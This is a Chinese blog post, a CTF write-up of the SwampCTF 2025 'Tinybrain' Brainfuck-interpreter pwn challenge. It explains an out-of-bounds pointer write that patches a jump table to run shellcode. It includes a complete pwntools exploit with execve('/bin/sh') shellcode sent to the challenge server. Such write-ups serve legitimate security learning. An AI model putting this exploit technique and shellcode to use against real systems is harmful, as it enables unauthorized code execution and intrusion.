lenyuan的博客

lenyuan's
Blog
  1. 首页
  2. CTF
  3. 正文

记一次brainfuck解释器Pwn题

2025年4月1日 327点热度 2人点赞 0条评论

2025-swampCTF-Tinybrain

初步了解bf语言,只有8个指令

这种题目一般不会对指针进行检查,可以越界写

这题没有got表,都是通过syscall进行函数调用

但是可以在data段找到case的跳转表


在汇编语言中,使用数据段(.data 段)实现 switch-case 的跳转表(Jump Table)是一种优化手段,适用于 连续且密集的 case 值。

程序对0-0x100字节都有对应的跳转,再加上while的跳转表,所以程序有256*2个跳转表,没对指针做越界判断,可以改跳转表,且程序存在rwx段

所以思路如下:

写入shellcode,移动ptr到跳转表 ,修改 \xff 的跳转表为 shellcode 地址

输入/xff ,执行shellcode getshell

exp

from pwn import *
p = remote('chals.swampctf.com',41414)
context(os = 'linux',arch='amd64' ,log_level='debug')

payload =  b'+'*0x2f    		#/
payload += b'>' + b'+'*0x62     #b
payload += b'>' + b'+'*0x69     #i 
payload += b'>' + b'+'*0x6e     #n
payload += b'>' + b'+'*0x2f     #/
payload += b'>' + b'+'*0x73     #s
payload += b'>' + b'+'*0x68     #h
payload += b'>' 				#\x00


shellcode = b"\x48\x31\xF6\x31\xD2\x48\xC7\xC7\x00\x38\x40\x00\xB0\x3B\x0F\x05"
bf_code = ""
for byte in shellcode:
    bf_code += f">{'+' * byte}"

payload2 = b'<'*0x818 + b'<'*0x7fc  + b'<'*0x8
payload2 += b'<.' 


payload2 += b'<' + b'+'*0x28  + b'.' 
payload2 += b'<' + b'-'*0x16  + b'.' + b'\xff'
p.sendlineafter(b'instructions (q to finish):',payload+bf_code.encode()+payload2+b'q')


p.interactive()

标签: 暂无
最后更新:2025年4月2日

lenyuan

这个人很懒,什么都没留下

点赞

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

归档

  • 2025 年 4 月

分类

  • CTF

COPYRIGHT © 2025 lenyuan的博客. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang